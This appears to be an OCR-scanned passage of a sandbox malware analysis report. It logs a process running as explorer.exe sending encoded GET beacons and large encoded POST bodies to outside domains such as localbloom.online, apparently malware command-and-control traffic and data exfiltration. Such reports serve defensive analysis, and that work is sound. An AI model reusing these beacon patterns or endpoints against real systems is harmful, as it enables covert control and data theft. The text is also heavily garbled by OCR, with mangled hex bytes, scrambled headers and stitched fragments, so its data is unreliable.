dGGYWj1ka2VWYQbY4_12GeGkCKBIB6yvWRIiYWQHZYXxMutAjqn5(44CgdzOwstWY_UEH1VEZnFZDnHjeiLZXjrDtWAQ
H1pSzYZPPdhQnMgXa6lb~rST2ZTQI5mj(1ttMfDZfbD5~0esUkP4Bbwhr4pJ2YTI0ilnjB4bTH7nOmMS599mmKIvblycwInIS5f

HTTP/1.1 405 Not Allowed

Server: nginx/1.20.2

Date: Fri, 27 May 2022 16:44:34 GMT

Content-Type: text/html

Content-Length: 157

Via: 1.1 google

Connection: close

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 35 20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64
3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3¢ 68 31 3e 34 30 35
20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3¢ 68 72 3e 3c 63 65 6e 74 65 72 3e
6e 67 69 6e 78 2f 31 2e 32 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d
Oa

Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr>
<center>nginx/1.20.2</center></body></htmI>

Destination Port Process

C:\Windows\explorer.exe

Data

GET /np8s/?zVB=LP9EI17xKnNeim8nLd+KxbxmCUjQ+ejx+5/wYAWzXpl6ry2rccLFMoZPirUOcSWhDiha&CTr8g=
z48HVPSHfp HTTP/1.1

Host: www.84866.xyz

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 200 OK

Server: nginx/1.20.2

Date: Fri, 27 May 2022 16:44:34 GMT

Content-Type: text/html

Content-Length: 5248

Last-Modified: Fri, 11 Mar 2022 02:41:55 GMT

Vary: Accept-Encoding

ETag: "622ab6f3-1480"

Cache-Control: no-cache

Accept-Ranges: bytes

Via: 1.1 google

Connection: close

Data Raw: 3¢ 21 64 6f 63 74 79 70 65 20 68 74 6d 6¢ 3e 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 7a 68 22 3e 3c 68 65 61 64
3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3¢ 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77
70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69
61 6¢ 2d 73 63 61 6¢ 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6C 65 3d 31 2¢ 75 73 65 72 2d 73 63 61 6C 61 62 6C
65 3d 30 22 3e 3¢ 7363 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 2e 61 6¢ 69 63 64 6e 2e 63 6f 6d 2f 77
6f 6f 64 70 65 63 6b 65 72 78 2f 6a 73 73 64 6b 2f 77 70 6b 52 65 70 6f 72 74 65 72 2e 6a 73 22 20 63 72 6f 73 73 6f 72 6
967 69 6e 3d 22 74 72 75 65 22 3e 3c 2f 73 63 72 69 70 74 3e 3¢ 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a
2f 2f 67 2e 61 6¢ 69 63 64 6e 2e 63 6f 6d 2f 77 6f 6f 64 70 65 63 6b 65 72 78 2f 6a 73 73 64 6b 2f 70 6¢ 75 67 69 6e 73 2f
67 6¢ 6f 62 61 6C 65 72 72 6f 72 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 74 72 75 65 22 3e 3¢ 2f 73 63 72
69 70 74 3e 3¢ 7363 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 2e 61 6¢ 69 63 64 6e 2e 63 6f 6d 2f 77 6f
6f 64 70 65 63 6b 65 72 78 2f 6a 73 73 64 6b 2f 70 6¢ 75 67 69 6e 73 2f 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6a 73 22 20
63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 74 72 75 65 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64
6f 77 2e 77 70 6b 52 65 70 6f 72 74 65 72 26 26 28 77 69 6e 64 6f 77 2e 77 70 6b 3d 6e 65 77 20 77 69 6e 64 6f 77 2e 77
70 6b 52 65 70 6f 72 74 65 72 28 7b 62 69 64 3a 22 62 65 72 67 2d 64 6f 77 6e 6¢ 6f 61 64 22 2c 72 65 6¢C 3a 22 32 2e 32
38 2e 31 22 2c 73 61 6d 70 6¢ 65 52 61 74 65 3a 31 2c 70 6¢ 75 67 69 6e 73 3a 5b 5b 77 69 6e 64 6f 77 2e 77 70 6b 67 6
¢ 6f62 61 6¢ 65 72 72 6f 72 50 6¢ 75 67 69 6e 2¢ 7b 6a 73 45 72 72 3a 21 30 2c 6a 73 45 72 72 53 61 6d 70 6¢ 65 52 61
74 653a312c 7265734572 723a21302c 7265734572 725361 6d 70 6c 655261 7465 3a317d5d2c 5b 77 69
6e 64 6f 77 2e 77 70 6b 70 65 72 66 6f 72 6d 61 6e 63 65 50 6¢ 75 67 69 6e 2c 7b 65 6e 61 62 6¢ 65 3a 21 30 2¢ 73 61
6d 70 6¢ 65 52 61 74 65 3a 2e 35 7d 5d 5d 7d 29 2c 77 69 6e 64 6f 77 2e 77 70 6b 2e 69 6e 73 74 61 6¢ 6¢ 28 29 29 3c
2f73 63 7269 70 74 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 6¢ 6f 61 64 42 61 69 64 75 48 6d 74 28 74 29
7b 63 6f 6e 73 6f 6¢ 65 2e 6¢ 6f 67 28 22 €7 99 be e5 ba a6 e7 bb 9f e8 ae al 22 2c 74 29 3b 76 61 72 20 65 3d 64 6f 63
75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6¢ 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 65 2e 73 72 63 3d 22 68 74
74 70 73 3a 2f 2f 68 6d 2e 62 61 69 64 75 2e 63 6f 6d 2f 68 6d 2e 6a 73 3f 22 2b 74 3b 76 61 72 20 6f 3d 64 6f 63 75 6d
65 6e 74 2e 67 65 74 45 6¢ 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 6f
2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 65 2c 6f 29 7d 66 75 6e 63 74 69 6f 6e 20 62
61 69 64 75 50 75 73 68 28 74 2¢ 65 2c 6f 29 7b 77 69 6e 64 6f 77 2e 5f 68 6d 74 2e 70 75 73 68 28 5b 22 5f 74 72 61 63
6b 45 76 65 6e 74 22 2c 74 2c

Data Ascii: <!doctype html><html| lang="zh"><head><meta charset="UTF-8"><meta name="viewport" content="width=de
vice-width,initial-scale=1,maximum-scale=1,user-scalable=0"><script src="https://g.alicdn.com/woodpeckerx/jssd
k/wpkReporter.js" crossorigin="true"></script><script src="https://g.alicdn.com/woodpeckerx/jssdk/plugins/globalerror.js"
crossorigin="true"></script><script src="https://g.alicdn.com/woodpeckerx/jssdk/plugins/performance.js" crossorigin="t
rue"></script><script>window.wpkReporter&&(window.wpk=new window.wpkReporter({bid:"berg-download" rel:"2.28.1"
,sampleRate:1,plugins:[[window.wpkglobalerrorPlugin,{jsErr:!0,jsErrSampleRate:1,resErr:!0,resErrSampleRate:1}],
[window.wpkperformancePlugin,{enable:!0,sampleRate:.5}]]}),window.wpk.install())</script><script>function loa
dBaiduHmt(t){console.log("" t);var e=document.createElement("script");e.src="https://hm.baidu.com/hm.js?"+t;var
o=document.getElementsByTagName("script")[0];0.parentNode.insertBefore(e,0)}function baiduPush(t,e,o){window
._hmt.push(["_trackEvent",t,
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Session ID

3

Timestamp
May 27, 2022

18:42:23.902453899
CEST

Session ID

30

Timestamp

May 27, 2022
18:44:47.033349037
CEST

May 27, 2022

18:44:47.077271938

CEST

Session ID

31

Timestamp

May 27, 2022

18:44:47.080343008

CEST

Source IP Source Port

192.168.2.5 49853
kB!
vtes Direction
transferred
2978 ouT
Source IP Source Port
192.168.2.5 49946
kB!
A Direction
transferred
9899 ouT
9900 IN
Source IP Source Port
192.168.2.5 49947
kB
= Direction
transferred
9913 ouT

Copyright Joe Security LLC 2022

Destination IP

23.231.99.207 80

Destination IP

185.134.245.113 80

Destination IP

185.134.245.113 80

Destination Port Process

C:\Windows\explorer.exe

Data

GET /np8s/?zVB=MO+mSdLLrNuwRQY0oVJuGLvO0I5Vniy3FD6QWfbcj4un1GXTVLdefusF8/041Go+fIW50u&4hM4=04B0f
HTTP/1.1

Host: www.refreshertowels.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

Destination Port Process

C:\Windows\explorer.exe

Data

POST /np8s/ HTTP/1.1

Host: www.localbloom.online

Connection: close

Content-Length: 409

Cache-Control: no-cache

Origin: http://www.localbloom.online

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.localbloom.online/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 7a 56 42 3d 68 62 51 6a 45 64 37 4f 55 73 31 78 6¢ 61 46 55 36 51 47 50 31 73 33 44 33 6f 39 35 66 51 5a 58
33304261 73 6¢ 52 6¢ 74 6f 63 45 41 68 31 75 4d 67 6f 45 50 46 55 61 4f 4b 4d 63 6b 6a 4e 79 44 6b 7e 62 44 79 68 4f
66 59 51 73 46 65 52 36 78 57 55 33 43 52 39 57 46 51 68 75 67 6a 48 37 6b 68 36 55 62 74 78 5a 54 32 52 67 4c 51 75
63 59 53 4f 58 4a 35 55 75 46 58 69 6a 28 67 61 63 73 4c 59 4a 4a 49 59 36 4e 55 34 4f 54 74 6¢ 53 39 35 77 70 36 69
55 67 64 4d 6¢ 77 4b 46 64 77 79 73 63 50 4c 50 4f 39 38 5f 50 67 70 61 33 56 59 67 57 6d 5a 6¢ 46 41 6f 4f 78 76 28 6¢
6a 4b 36 38 51 4b 6a 5f 54 78 43 66 49 65 61 42 71 6¢ 66 55 59 56 35 38 54 4b 47 43 30 4d 6f 52 71 49 53 70 72 56 36 4
654 77 42 57 69 44 35 38 42 4f 44 61 43 4d 7e 6¢ 68 45 6f 63 45 7a 46 66 7a 43 54 63 58 66 6¢ 4e 4f 71 34 4e 61 74 7a
44 51 48 43 43 73 41 72 44 34 30 49 34 6a 6¢ 65 56 66 58 79 37 58 53 7a 33 4a 72 74 4e 57 33 57 61 54 39 76 59 69 78
72 48 31 73 4d 44 36 7a 6a 45 56 59 54 51 6¢ 51 37 63 4b 47 49 6f 67 68 64 67 4b 4d 6b 41 68 4c 6¢ 51 6¢ 69 72 34 49
71 7e 30 30 66 4e 41 43 63 71 37 28 42 78 6¢ 56 4e 43 33 32 49 34 71 6f 55 75 74 44 68 6b 51 36 62 4d 7a 66 78 4c 65
44 46 43 35 67 79 70 42 6¢ 57 53 4c 44 38 70 77 29 2e 00 00 00 00 00 00 00 00

Data Ascii: zVB=hbQjEd70Us1xlaFU6QGP1s3D3095fQZX30Bas|RItocEAh1uMgoEPFUaOKMckjNyDk~bDyhOfY
QsFeR6XWU3CRIWFQhugjH7kh6UbtxZT2RgLQucY SOXJ5UuFXij(gacsLYJJIYENU4OTHS95wp6iUgdMIwKFdwyscP
LPO98_Pgpa3VYgWmZIFAcOxv(ljK68QKj_TxCfleaBglfUYV58 TKGCOMoRqISprV6FTwBWID58BODaCM~IhEocEzFf
zCTcXfINOg4NatzDQHCCsArD40I4jleVEXy7XSz3IntNW3WaT9vYixrH1sMD6zJEVYTQIQ7cKGloghdgKMKANLIQIi
r41g~00fNACcq7(BxIVNC32l4qoUutDhkQ6bMzfxLeDFC5gypBIWSLD8pw).

HTTP/1.1 405 Not Allowed

Server: nginx

Date: Fri, 27 May 2022 16:44:47 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Data Raw: 61 36 0d Oa 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 35 20 4e 6f 74 20 41 6¢c 6¢
6f 77 65 64 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 20 62 67 63 6f 6¢ 6f 72 3d 22 77 68 69 74
65 22 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3¢ 68 31 3e 34 30 35 20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64 3c 2f 68 31 3e 3¢ 2f 63
65 6e 74 65 72 3e 0d Oa 3¢ 68 72 3e 3¢ 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f
64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa 0d Oa 30 0d Oa Od Oa

Data Ascii: a6<html><head><title>405 Not Allowed</title></head><body bgcolor="white"><center><h1>405 Not Allow
ed</h1></center><hr><center>nginx</center></body></htm|>0

Destination Port Process

C:\Windows\explorer.exe

Data

POST /np8s/ HTTP/1.1

Host: www.localbloom.online

Connection: close

Content-Length: 36477

Cache-Control: no-cache

Origin: http://www.localbloom.online

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.localbloom.online/np8s/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 7a 56 42 3d 68 62 51 6a 45 59 54 69 62 5f 78 73 37 61 4a 6e 33 46 53 62 36 38 6e 37 31 59 34 6f 54 79 74 55

6d 32 70 4f 69 46 67 56 73 70 6b 6b 48 53 42 50 49 6e 6¢ 52 50 42 5a 2d 4b 5f 6b 59 33 54 42 7a 44 6b 33 36 44 79 6¢ 4f
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. kBytes ) ) 6559 49 61 46 2d 68 45 79 31 73 30 45 78 39 6d 45 51 68 4e 6b 6e 48 47 6b 68 75 36 62 74 35 7a 54 6d 64 67 4e 7a 47

JmEestamp ancrerred Diection B398 68 6d 63 55 4a 55 6b 5a 48 79 5F 69 77 47 72 73 4c 51 72 4a 49 6b 36 4f 6b 30 4f 56 4e 31 64 32 61 59 6d 39 79
55 68 58 73 6¢ 70 54 56 67 4a 79 73 49 74 4c 4f 79 39 39 4e 62 67 34 61 58 56 61 52 57 6e 57 31 46 5a 73 4f 78 7537 6
C 28 62 36 38 4d 4f 6a 37 71 47 43 4f 38 65 49 68 71 67 59 47 35 71 71 37 48 5a 45 43 42 63 6f 52 6d 74 63 64 79 54 36
42 43 72 58 54 76 37 37 65 70 77 44 59 75 6d 79 6¢ 68 41 39 73 46 6e 46 66 79 5f 54 63 58 68 6¢ 4e 65 71 34 4c 61 74
7a 58 38 48 45 48 34 42 30 6a 34 78 4d 34 6a 33 61 56 6a 76 79 36 28 6f 7a 32 6¢ 37 71 36 6d 33 58 50 37 39 6e 62 4b
7977 48 30 70 42 6a 36 52 7e 30 55 50 54 51 6¢ 32 37 64 4b 6f 49 2d 6b 68 50 46 6d 4d 6a 6d 56 4c 70 41 6¢ 69 6b 59
49 73 72 45 34 50 4e 41 61 59 71 37 50 72 78 57 35 4e 42 6¢ 7e 49 37 4c 6f 55 39 4e 44 68 6f 77 37 5a 66 6a 7a 31 4f
38 37 44 42 5a 56 4e 30 67 30 41 55 34 4f 79 35 6d 30 67 71 48 30 47 4b 57 50 51 37 77 6f 37 4f 4b 45 62 79 49 28 36
4e 41 4e 6d 6d 57 68 41 71 49 37 56 55 47 76 78 4a 6d 76 55 54 58 39 42 72 79 63 47 56 39 34 65 37 6¢ 45 44 49 69 37
5a 64 44 76 59 43 41 52 39 39 4f 4f 2d 61 75 7e 47 6b 68 63 77 5a 32 6e 5a 57 34 43 32 52 78 41 44 68 65 4e 66 38 31
7670 69 61 52 78 52 42 53 72 58 6¢ 66 68 73 6e 39 53 47 37 32 74 51 35 33 36 6b 50 6b 68 36 6b 73 59 7a 2d 30 48 43
45 55 4c 63 52 48 6f 7a 6a 58 63 4d 45 6f 75 70 36 48 4d 72 44 71 59 6¢ 4e 49 6¢ 51 38 63 43 6d 32 51 44 4b 52 47 66
74 6e 62 63 6e 4b 32 55 67 6a 47 70 4e 33 4d 37 6d 42 38 4f 77 53 64 7a 30 69 46 73 4a 70 70 6f 64 45 47 4a 6a 69 36 4
a 64 43 4e 6e 70 7a 71 69 62 66 4f 4f 53 67 69 33 56 54 68 37 6f 76 4e 4b 68 5f 73 42 66 34 33 6e 4e 4d 35 34 4b 38 75
66 61 44 41 6d 73 64 62 62 31 57 36 54 53 67 6f 4d 71 75 64 66 28 77 59 2d 6a 72 48 65 4b 33 6a 6¢ 57 6e 65 39 74 2d
45 77 30 58 66 53 74 4b 61 70 6¢ 34 4b 6b 4d 59 76 69 43 5f 7e 75 72 45 64 48 63 71 56 44 6b 4b 4f 56 4f 6d 42 41 54 47
4c 37 59 30 3568 61 77 5a 55 32 74 61 38 6d 4f 50 58 4f 58 47 64 67 33 46 4e 49 51 46 65 30 2d 5a 45 6b 74 6e 57 65
45 30 78 6a 31 78 76 39 39 56 6d 4d 76 55 6¢ 71 6b 56 6f 63 6f 4b 43 6d 58 78 67 44 59 4d 34 62 73 4a 44 4c 51 37 55
30 6a 4d 6d 61 6b 6¢ 6e 74 6e 32 78 33 4¢c 79 7a 45 44 64 4b 4a 35 69 57 49 39 57 6a 44 46 6f 64 4e 4f 61 58 32 43 31
64 77 54 70 32 35 5a 73 49 5a 74 38 35 79 69 65 53 6a 53 33 64 4c 43 63 53 64 51 28 6f 59 45 72 79 4f 56 4a 75 73 58
3654 77 3254 50 59 61 76 59 76 6d 78 49 77 66 4a 57 74 59 6¢ 4e 32 6¢ 37 39 47 4e 4b 32 57 4d 34 72 77 6e 6f 36 4d
78 5a 66 41 57 6¢ 4b 6¢ 37 6f 43 74 4f 71 7a 49 72 78 65 5a 41 68 6e 61 56 75 6b 57 58 4d 4f 63 78 42 50 76 54 4c 72 4e
41 46 65 61 45 6d 7a 73 34 7e 58 39 61 4e 4e 69 32 42 6b 69 74 43 48 44 46 58 44 6b 72 6¢ 47 71 2d 52 55 32 6a 4d 68
456541 73 52 62 6d 74 35 35 37 62 7a 4c 65 4c 4c 7a 72 35 46 49 35 75 65 65 50 44 6e 79 78 57 31 4c 46 76 68 45 65
385857 44 34 6f 7a 7a 6d 42 64 6b 66 74 45 54 66 57 5a 38 6¢ 74 62 34 69 57 31 46 52 54 56 51 6a 41 46 41 71 6f 64
55 79 5a 48 4c 5a 37 76 50 78 33 4b 6b 70 58 78 7a 48 45 55 62 4c 34 58 61 41 67 62 70 52 33 6a 6b 45 38 6f 49 4a 76 7
959 47 4b 41 63 4f 74 30 6b 4f 53 58 58 77 79 4b 5a 77 48 5f 57 6e 72 68 44 30 32 77 66 77 35 4e 53 2d 6d 6¢ 65 32 65
4f 49 5a 4a 6d 41 32 68 57 4d 76 50 4f 35 41 6e 70 7a 47 64 68 71 67 74 37 6¢ 43 44 34 6a 45 73 43 78 59 46 77 64 6d
6b 6f 6a 6a 57 56 6d 32 4f 68 54 4a 43 41 45 48 69 79 4c 63 75 4f 64 65 79 77 62 41 50 6f 38 6¢ 64 5f 41 43 6b 6d 52 4b
49 33 64 68 74 36 36 4b 6d 79 6a 62 45 55 31 45 6a 6d 44 55 74 58 31 68 43 53 6a 5a 67 66 54 4b 7e 6a 63 76 70 63 59
67 4e 3571 41 77 78 43 5f 28 75 59 56 65 5f 32 66 5a 52 46 53 49 74 39 43 6f 65 44 6b 36 2d 48 31 30 33 30 30 73 6¢ 33
41 65 4c 30 47 63 43 34 5f 6f 35 4a 49 6d 7a 4268 71 74 73 30 6d 2d 34 34 79 52 62 49 64 49 38
Data Ascii: zZVB=hbQJEYTib_xs7aJn3FSh68n71Y40TytUm2pOiFgVspkkHSBPInIRPBZ-K_kY3TBzDk36DylOeYlaF-
hEy1s0Ex9mEQhNknHGkhu6bt5zTmdgNzGeMhmcUJUKZHy_iwGrsLQrJIk6OkOOVN1d2aYm9yUhXslpTVgJysit
LOy99Nbg4aXVaRWnW1FZsOxu7|(b68MOj7qGCO8elhqgYG5qq7HZECBcoRmtcdy T6BCrXTv77epwDYumylhA9sFnFf
y_TcXhINeg4LatzX8HEH4B0j4xM4j3aVjvy6(0z2176m3XP79nbKywHOpBj6R~0UPTQI27dKol-khPFmMjmVLpAli
kYIsrE4APNAaYq7PrxW5NBI~17LoU9NDhow7Zfjz1087DBZVNOg0AU40y5m0gqHOGKWPQ7wo70OKEbyI(6
NANmMmMWhAQI7VUGvxImvUTX9BrycGV94e7IEDIi7ZdDvY CAR9900-au~GkhcwZ2nZW4C2RxADheNf81vpiaRXRBSrXI
fhsn9SG72tQ536kPkh6ksYz-OHCEULcRHozjXcMEoup6HMrDqY INIIQ8cCm2QDKRGftnbecnK2UgjGpN3M7mB8OwSdz
0iFsJppodEGJji6JdCNnpzqibfO0SQi3VTh7ovNKh_sBf43nNM54K8ufaDAmsdbb1W6TSgoMaudf(wY-jrHeK3jlWne9t-
EwO0XfStKapl4KkMYViC_~urEdHcqVDkKOVOmMBATGL7Y05hawZU2ta8mOPXOXGdg3FNIQFe0-ZEktnWeEOxj1xv
99VmMvUIgkVocoKCmXxgDYM4bsIDLQ7UOMmakintn2x3LyzEDdKJ5iWI9WjDFodNOaX2C1dwTp25ZsIZt85yieS|S
3dLCcSdQ(oYEryOVJIusX6Tw2TPYavYvmxIwfIWtYIN2|79GNK2WM4rwno6MxZfAWIKI70CtOqgzIrxeZAhnaVukWXMO
cxBPVTLINAFeaEmzs4~X9aNNi2BkitCHDFXDkrlGg-RU2jMhEeAsRbmt557bzLel Lzr5FI5SueePDnyxW1LFvhEe8XW
D4ozzmBdkftETWZ8Itb4iW1FRTVQJAFAqodUyZHLZ7vPx3KkpXxzHEUbL4XaAgbpR3jkE8olJvyY GKACOtOKOSXXw
yKZwH_WnrhD02wfw5NS-mle2eO01ZImA2hWMvPO5AnpzGdhagt7ICD4jEsCxYFwdmkojjWwVm20hTICAEHiyLcuOdeyw
bAPo8Id_ACKkmRKI3dht66KmyjbEU1EjmDUtX1hCSjZgfTK~jcvpcYgNSqAWXC_(uYVe_2fZRFSIt9CoeDk6-H10300
sI3AeL0GcC4_05JImzBhqtsOm-44yRbldIBCHIJWMZ61ysnW~T60v8iYC_gIV7Af7sgxDvANQLNCj76gtvLSRv6sh7
IEFBI8pOjKwoMSr4NCUq8I07ANwdVJIZHY812v8MjOMgPZBPLQWKIUOfP4E2E82kZ42DTaHzPyqG4c4~H78cSY2FzTQ
54Up~goLthU5cbzfBwayE4y3JyPyfPTpcuOpprLojgKqvyjEKqgceCicToV5BIJ3sRfk3nywZ3aUyRtCq~CD9sqV2uU
(iFIZAEjD9xzvwCIGGc_cGegHPY2V2FxIxVSwe8LI4AmG9ciFwAsXasoquGlY Onuj0TqOUrEbkng-LOYXBtcHGx6_HOO-
r8M40foNZI2GOFrIkrf6Khd TgNRtdrnj1INBVOHAYP6aJB_0eGBj7POGMAaLVTgklyKdAQoF0od42WiKg(ZaTrQlh
mcflceVH3l4pzwfPuohDgBuxfD10jIX7nDmxxQxvbe4kNzXjDrvPvMzYMb1Xh8XVx3KdtnQRfHY30Ok8FN-8r09xWnq
RkJzsjfodonhFWZZ6vUqN_gbtsvPXAOHYumhmoHzbblyjPjFptCEOGPgzmZ88t30K2Egn8jRkhDSn6NmMY6hgoluSukK
380Mn812E68nC2QdVVxSol8yUlqyDHdqrFpav95e05iovN(grE(yQdRfkCT6C1k4GGBMdZIYDGg2caA5M3y5Tu(5do
k7R4ZsGwwIKE~KhuY68WkInGid7cThVILovWhRXik89H(dcra9pVCSrnCcF4zhBCZmgm3eSTHHgxysBIHNfioWoba4
pFrRyF3hQC30BwpYKfseDVIEyoqcVIBAbOkaOFTAgNP33QH6IQ~E34mUum4KziluzqqS1glFt8k81PaxYzyFfuO3GL
1722hzONdh8zVTFE37nX1XEd2y50sljdDoxsXG~UOAPbw3FqLNY3i_v7Im(3c-jhsdmHreWDr~4psTPxS88SjnK4z
2Rosi_1e6G9nh0PVFQ-m8KicbP3PYeniuo3AqHANrMYeJ(gPGzxgdd3VSFgswXkHWVm7cMr8IRaoSCQGicUBgJVPTQ
tXIVHW(LPgMapGh79CsLFOWc60zGd7piH60IczSNnDorlgJhvgjzN1XLfgiD17Nz6zmunl2vzbxhLnWGVnCX7Z7XHL
gifMropaC6C15sG5WwpX8Vtlfgjtxzd Tm87Y (pwflAeRp3GQHoWXenCIKZr5mIJfZCepfZvnEYjYIE6OWPWatehf5U
BVcOK2jP3wRuF4p7Vaxrwd9fyzgAmV~ekqYN2-HsUmg7eK2shkUPVTI-fxMIWcghNx4RYsveczaMqYNgn9Bpd5LIrnY
UZYpSXCCigdWBwgn10038bYOcpCZjm6Rzg6fepVQewus4gYIHtRFS09xxbbS8J5_(KRF34nXwsfc1XPDOr5V1PV3
fTZFFGdvBYtsH7vIIOzkeouNCmwsdslYmt7FOgiXRFisoyF_ijXvz58dbEiSBARMCkpUgN1jasRkUy0xkrqZ4JB9Zx
SWOfIDbulLreX8W5f11SvM2-iYs5Z5TeK-FvIXyt(S8IGhRRc98aNETzOXpNPbNxvMgEOdzDyYUOS5tttCU76lcda~A
kdZzOOKQmdHg3VVDn4J-zB~HFN312ASmKsILDs~4LUAuXasyZL5t6wdm456NxNbERmM338EM1BomoYEWS
fraqT3ISGG61YzhBkegXTeRo1Hi_XeY5Vfen06YSIMWLXnRjoorli7afM33HJINpIDgOwV47CFudlJoOmT1zWk2b0O0l
72N2B7C7K4Y-UefqSRajvEXbJVao70aVZWShWZEwaullreBm25Vc3Np6S4VyrdLyFOCbXW20dPGaf_m5TBeVZ3Dplv
a_n9k36ZnCWQYPHNnghHwy~iWm3vBvh8c9DVu6hVnoaFiKzCxy~ADTbilxyxPmhvMxSbl14tQNd9eMjW77Ra~3rS10
C_E7sSQFR8F-L1KoXzFKNsIXxqlzTSjjk-rDhETMQmdjz5C7mg5p6rkiQiEqxp1ViL7ieg9ZoUexW1EkvLzyuKufX0
OR(6m_tOsy4IESk9TX5T~LBUOL(-z2YJChcKGjl13WoO0Lbm6ée_FUQIW_xX30z6(N3XVWIE2iXeULAMsHr85JxRCVNn2
LzG302V6sLOICMbHJIGI2JEXIR2bKET6cW044HWP_IZ(UAZIS|EfgbaBIxsDY DKhteMttZcdPCvaSu_fEKP(VQS4DKM
NKMn9BzkFPXBgXGnyXivEb18nNZ9upOcINHGC_C4s0Enn60eF53mXgJzuRKEhH4E3uOILS5DSParHctu7s9iPgF3rh
ksQ25b~R8PM1YM26jLjqQv4j8mtWtUhLf TOO09eajo300R8wZuhAC7rs7ZniMuOad3jmcMCloUCUQqr70sDiX0dhkXL
Qo~cp5ctWAWmMA4_plGBLxaRv2(pliYimftPxihhrdADgRv~s8FOnwUpUQwdXeVSgbmiXzPbzwY9VFhu8ZsDX7IAn7bil
fOHKABD8Pg7CINEIUWQFrHDz~9GqJhQfjXAybsglL5rsa4PgH2p6ug5n01E78KFfGVIIMXMOEA7TrKrZD9UmxJF600
z1tHE42tGKQwgen-02EZKfpMazMPzem_gg~VG1u2ZTM8wnOd9pOQKwJIhUmGSIge5ZY7AUeOuBjN1sScv
SIVKgbURYPKXNECWTugKEFbCz9(SPq8IrbLfwXEoWIW8ag4(PsjVnx-2f~boOUESNZMeHbIN8wwGk
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kBytes

Direction Data
transferred

Timestamp
May 27, 2022 9914 IN HTTP/1.1 405 Not Allowed
18:44:47.124572039 Server: nginx
CEST Date: Fri, 27 May 2022 16:44:47 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
Data Raw: 61 36 0d Oa 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3¢ 74 69 74 6¢ 65 3e 34 30 35 20 4e 6f 74 20 41 6¢ 6C
6f 77 65 64 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 20 62 67 63 6f 6¢ 6f 72 3d 22 77 68 69 74
65 22 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6¢ 6¢ 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63
65 6e 74 65 72 3e 0d Oa 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0Oa 3c 2f 62 6f
64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d 0a Od Oa 30 0d Oa Od Oa
Data Ascii: ab<html><head><title>405 Not Allowed</title></head><body bgcolor="white"><center><h1>405 Not Allow
ed</h1></center><hr><center>nginx</center></body></html|>0

Session ID Source IP Source Port Destination IP Destination Port Process

32 192.168.2.5 49948 185.134.245.113 80 C:\Windows\explorer.exe

kBytes

Direction Data
transferred

Timestamp
May 27, 2022 9914 ouT GET /np8s/?zVB=uzkZa9PDR+t76IUsjgXNksX18rdkaBRO0jzgf+2QyrrEOBTZPOy5IBVEfZpk90w8gWC7R&CTr8g=
18:44:47.124989033 z48HVPSHfp HTTP/1.1
CEST Host: www.localbloom.online

Connection: close

